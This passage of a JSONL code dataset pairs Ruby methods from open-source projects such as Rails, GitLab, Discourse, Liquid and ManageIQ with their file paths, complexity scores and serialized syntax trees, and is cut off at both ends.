end","complexity_score":26.25,"ast_json":"{\"type\":\"def\",\"children\":[\"try_update_media_url\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"episode\"]},{\"type\":\"kwarg\",\"children\":[\"item_data\"]},{\"type\":\"kwarg\",\"children\":[\"force_update\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"episode\"]},\"published_at?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item_data\"]},\"pubDate\"]}]},{\"type\":\"send\",\"children\":[null,\"update_published_at\",{\"type\":\"lvar\",\"children\":[\"episode\"]},{\"type\":\"lvar\",\"children\":[\"item_data\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"unreachable\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"episode\"]},\"https?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"episode\"]},\"reachable?\"]}]}]},\"!\"]}]},{\"type\":\"lvasgn\",\"children\":[\"need_url_update\",{\"type\":\"or\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"unreachable\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"episode\"]},\"created_at\"]},\">\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[12]},\"hours\"]},\"ago\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"force_update\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"need_url_update\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PodcastEpisodes\"]},\"UpdateMediaUrlWorker\"]},\"perform_async\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"episode\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item_data\"]},\"enclosure_url\"]}]},null]}]}]}","id":"34ac025e-a085-43a3-a57f-94bdd512417d"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/report/report_table.rb","start_line":156,"raw_source":"def generate_templates\n    out_processor = Brakeman::OutputProcessor.new\n    template_rows = {}\n    tracker.templates.each do |name, template|\n      template.each_output do |out|\n        out = out_processor.format out\n        template_rows[name] ||= []\n        template_rows[name] << out.gsub(\"\\n\", \";\").gsub(/\\s+/, \" \")\n      end\n    end\n\n    template_rows = template_rows.sort_by{|name, value| name.to_s}\n\n    output = +''\n    template_rows.each do |template|\n      output << template.first.to_s << \"\\n\\n\"\n      table = @table.new(:headings => ['Output']) do |t|\n        # template[1] is an array of calls\n        template[1].each do |v|\n          t.add_row [v]\n        end\n      end\n\n      output << table.to_s << \"\\n\\n\"\n    end\n\n    output\n  end","complexity_score":46.23,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_templates\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"out_processor\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Brakeman\"]},\"OutputProcessor\"]},\"new\"]}]},{\"type\":\"lvasgn\",\"children\":[\"template_rows\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tracker\"]},\"templates\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"template\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"template\"]},\"each_output\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"out\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"out\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"out_processor\"]},\"format\",{\"type\":\"lvar\",\"children\":[\"out\"]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"template_rows\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"template_rows\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"out\"]},\"gsub\",{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\";\"]}]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\s+\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\" \"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"template_rows\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"template_rows\"]},\"sort_by\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_s\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},\"+@\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"template_rows\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"template\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"template\"]},\"first\"]},\"to_s\"]}]},\"<<\",{\"type\":\"str\",\"children\":[\"\\n\\n\"]}]},{\"type\":\"lvasgn\",\"children\":[\"table\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@table\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headings\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Output\"]}]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"template\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"add_row\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table\"]},\"to_s\"]}]},\"<<\",{\"type\":\"str\",\"children\":[\"\\n\\n\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]}]}","id":"14f18992-c8c2-462d-9fc5-bad162d20cfb"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/mime/respond_to_test.rb","start_line":506,"raw_source":"def test_with_rss_content_type\n    @request.accept = \"\"\n    @request.env[\"CONTENT_TYPE\"] = \"application/rss+xml\"\n    get :made_for_content_type, xhr: true\n    assert_equal \"RSS\", @response.body\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_with_rss_content_type\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"accept=\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"env\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"CONTENT_TYPE\"]},{\"type\":\"str\",\"children\":[\"application/rss+xml\"]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"made_for_content_type\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"xhr\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"RSS\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]}]}]}","id":"f3668351-0875-4355-8cb8-419e5e59f33a"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/api/v0/listings_controller.rb","start_line":32,"raw_source":"def set_and_authorize_listing\n        @listing = Listing.find(params[:id])\n      end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"set_and_authorize_listing\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@listing\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Listing\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}","id":"bcd29f04-1073-4eb3-9637-a512c03ca2a2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ssh/signature.rb","start_line":92,"raw_source":"def committer?\n        # Lookup by email because users can push verified commits that were made\n        # by someone else. For example: Doing a rebase.\n        committer = User.find_by_any_email(committer_email)\n        committer && signed_by_key.user == committer\n      end","complexity_score":8.1,"ast_json":"{\"type\":\"def\",\"children\":[\"committer?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"committer\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find_by_any_email\",{\"type\":\"send\",\"children\":[null,\"committer_email\"]}]}]},{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"committer\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"signed_by_key\"]},\"user\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"committer\"]}]}]}]}]}","id":"58b6e4c1-cd9d-4d9d-bc47-7c428c6cc537"}
{"repo_name":"rails","file_path":"./repos/rails/activejob/test/cases/logging_test.rb","start_line":449,"raw_source":"def test_enqueue_retry_log_level\n      @logger.level = WARN\n      perform_enqueued_jobs { RetryJob.perform_later \"DefaultsError\", 2 }\n      assert_no_match(/RetryJob/, @logger.messages)\n      assert_empty @logger.messages\n\n      @logger.level = INFO\n      perform_enqueued_jobs { RetryJob.perform_later \"DefaultsError\", 2 }\n      assert_match(/Retrying RetryJob \\(Job ID: .*?\\) after \\d+ attempts in 3 seconds, due to a DefaultsError.*\\./, @logger.messages)\n    end","complexity_score":15.45,"ast_json":"{\"type\":\"def\",\"children\":[\"test_enqueue_retry_log_level\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logger\"]},\"level=\",{\"type\":\"const\",\"children\":[null,\"WARN\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"perform_enqueued_jobs\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RetryJob\"]},\"perform_later\",{\"type\":\"str\",\"children\":[\"DefaultsError\"]},{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"RetryJob\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logger\"]},\"messages\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_empty\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logger\"]},\"messages\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logger\"]},\"level=\",{\"type\":\"const\",\"children\":[null,\"INFO\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"perform_enqueued_jobs\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RetryJob\"]},\"perform_later\",{\"type\":\"str\",\"children\":[\"DefaultsError\"]},{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Retrying RetryJob \\\\(Job ID: .*?\\\\) after \\\\d+ attempts in 3 seconds, due to a DefaultsError.*\\\\.\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logger\"]},\"messages\"]}]}]}]}","id":"5da9e2fc-de44-4d31-928f-3dc0c40c1641"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20160112025852_remove_users_from_topic_allowed_users.rb","start_line":7,"raw_source":"def up\n    sql = <<SQL\n    DELETE FROM topic_allowed_users tu\n    USING topic_allowed_groups tg\n    JOIN group_users gu ON gu.group_id = tg.group_id\n    WHERE tu.user_id = gu.user_id AND tg.topic_id = tu.topic_id\nSQL\n\n    execute sql\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sql\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"    DELETE FROM topic_allowed_users tu\\n\"]},{\"type\":\"str\",\"children\":[\"    USING topic_allowed_groups tg\\n\"]},{\"type\":\"str\",\"children\":[\"    JOIN group_users gu ON gu.group_id = tg.group_id\\n\"]},{\"type\":\"str\",\"children\":[\"    WHERE tu.user_id = gu.user_id AND tg.topic_id = tu.topic_id\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"lvar\",\"children\":[\"sql\"]}]}]}]}","id":"5b606365-53a1-4557-9bb6-f00c1a55266a"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/fixtures_test.rb","start_line":407,"raw_source":"def test_inserts\n    create_fixtures(\"topics\")\n    first_row = ActiveRecord::Base.lease_connection.select_one(\"SELECT * FROM topics WHERE author_name = 'David'\")\n    assert_equal(\"The First Topic\", first_row[\"title\"])\n\n    second_row = ActiveRecord::Base.lease_connection.select_one(\"SELECT * FROM topics WHERE author_name = 'Mary'\")\n    assert_nil(second_row[\"author_email_address\"])\n  end","complexity_score":11.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_inserts\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_fixtures\",{\"type\":\"str\",\"children\":[\"topics\"]}]},{\"type\":\"lvasgn\",\"children\":[\"first_row\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"lease_connection\"]},\"select_one\",{\"type\":\"str\",\"children\":[\"SELECT * FROM topics WHERE author_name = 'David'\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"The First Topic\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"first_row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"title\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"second_row\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"lease_connection\"]},\"select_one\",{\"type\":\"str\",\"children\":[\"SELECT * FROM topics WHERE author_name = 'Mary'\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"second_row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"author_email_address\"]}]}]}]}]}","id":"4156c7c8-00b9-41f6-94a0-962d04aba9c0"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/vmdb/plugins.rb","start_line":96,"raw_source":"def automation_runner_classes\n      @automation_runner_classes ||= flat_map { |engine| engine.try(:automation_runners) }.compact\n    end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"automation_runner_classes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@automation_runner_classes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flat_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"engine\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"engine\"]},\"try\",{\"type\":\"sym\",\"children\":[\"automation_runners\"]}]}]},\"compact\"]}]}]}","id":"77d8ca33-d87b-4b81-80f4-dba40cee2e0a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/usage_data/large_table.rb","start_line":85,"raw_source":"def non_related?(class_name)\n          non_related_classes.include?(class_name)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"non_related?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"class_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"non_related_classes\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"class_name\"]}]}]}","id":"5fecdbaf-84de-41e7-b58f-28abfdde94db"}
{"repo_name":"liquid","file_path":"./repos/liquid/lib/liquid/variable_lookup.rb","start_line":47,"raw_source":"def evaluate(context)\n      name   = context.evaluate(@name)\n      object = context.find_variable(name)\n\n      @lookups.each_index do |i|\n        key = context.evaluate(@lookups[i])\n\n        # Cast \"key\" to its liquid value to enable it to act as a primitive value\n        key = Liquid::Utils.to_liquid_value(key)\n\n        # If object is a hash- or array-like object we look for the\n        # presence of the key and if its available we return it\n        if object.respond_to?(:[]) &&\n            ((object.respond_to?(:key?) && object.key?(key)) ||\n             (object.respond_to?(:fetch) && key.is_a?(Integer)))\n\n          # if its a proc we will replace the entry with the proc\n          res    = context.lookup_and_evaluate(object, key)\n          object = res.to_liquid\n\n          # Some special cases. If the part wasn't in square brackets and\n          # no key with the same name was found we interpret following calls\n          # as commands and call them on the current object\n        elsif lookup_command?(i) && object.respond_to?(key)\n          object = object.send(key).to_liquid\n\n          # No key was present with the desired value and it wasn't one of the directly supported\n          # keywords either. The only thing we got left is to return nil or\n          # raise an exception if `strict_variables` option is set to true\n        else\n          return nil unless context.strict_variables\n          raise Liquid::UndefinedVariable, \"undefined variable #{key}\"\n        end\n\n        # If we are dealing with a drop here we have to\n        object.context = context if object.respond_to?(:context=)\n      end\n\n      object\n    end","complexity_score":52.8,"ast_json":"{\"type\":\"def\",\"children\":[\"evaluate\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"context\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},\"evaluate\",{\"type\":\"ivar\",\"children\":[\"@name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"object\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},\"find_variable\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@lookups\"]},\"each_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},\"evaluate\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@lookups\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"i\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Liquid\"]},\"Utils\"]},\"to_liquid_value\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"[]\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"key?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"key?\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"fetch\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Integer\"]}]}]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},\"lookup_and_evaluate\",{\"type\":\"lvar\",\"children\":[\"object\"]},{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"object\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"to_liquid\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lookup_command?\",{\"type\":\"lvar\",\"children\":[\"i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"respond_to?\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"object\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"send\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},\"to_liquid\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},\"strict_variables\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Liquid\"]},\"UndefinedVariable\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"undefined variable \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"context=\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"context=\",{\"type\":\"lvar\",\"children\":[\"context\"]}]},null]}]}]},{\"type\":\"lvar\",\"children\":[\"object\"]}]}]}","id":"9695a685-218a-4b6a-b85f-1940d352087e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/application_helper.rb","start_line":341,"raw_source":"def system_message_class\n    class_names = []\n\n    return class_names unless appearance\n\n    class_names << 'with-system-header' if appearance.show_header?\n    class_names << 'with-system-footer' if appearance.show_footer?\n\n    class_names.join(' ')\n  end","complexity_score":12.6,"ast_json":"{\"type\":\"def\",\"children\":[\"system_message_class\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"class_names\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"appearance\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"class_names\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"appearance\"]},\"show_header?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"class_names\"]},\"<<\",{\"type\":\"str\",\"children\":[\"with-system-header\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"appearance\"]},\"show_footer?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"class_names\"]},\"<<\",{\"type\":\"str\",\"children\":[\"with-system-footer\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"class_names\"]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]}]}]}","id":"ddd7dddd-026f-42c1-9b83-3bec3402f063"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/pxe_menu_ipxe.rb","start_line":15,"raw_source":"def self.parse_labels(contents, labels)\n    items = []\n    current_item = nil\n\n    contents.each_line do |line|\n      line = line.strip\n      next if line.blank? || line[0, 1] == '#'\n      next if line[0, 1] != ':' && current_item.nil?\n\n      if line[0, 1] == ':'\n        key   = :label\n        value = line[1..-1].strip\n      else\n        key   = line.split.first.downcase.to_sym\n        value = line[key.to_s.length..-1].strip\n      end\n\n      next if key != :label && current_item.nil?\n\n      case key\n      when :label\n        next unless labels.include?(value)\n\n        current_item = {:label => value}\n      when :kernel\n        current_item[:kernel], current_item[:kernel_options] = parse_kernel(value)\n      when :boot, :chain, :reboot\n        items << current_item\n        current_item = nil\n      else\n        current_item[key] = value if [:initrd].include?(key)\n      end\n    end\n    items << current_item\n\n    bad, good = items.compact.partition { |i| i[:kernel].blank? }\n    bad.each { |i| _log.warn(\"Image #{i[:label]} missing kernel - Skipping\") }\n    good\n  end","complexity_score":88.65,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"parse_labels\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"contents\"]},{\"type\":\"arg\",\"children\":[\"labels\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"items\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"current_item\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contents\"]},\"each_line\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"line\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"strip\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"[]\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[1]}]},\"==\",{\"type\":\"str\",\"children\":[\"#\"]}]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"[]\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[1]}]},\"!=\",{\"type\":\"str\",\"children\":[\":\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_item\"]},\"nil?\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"[]\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[1]}]},\"==\",{\"type\":\"str\",\"children\":[\":\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\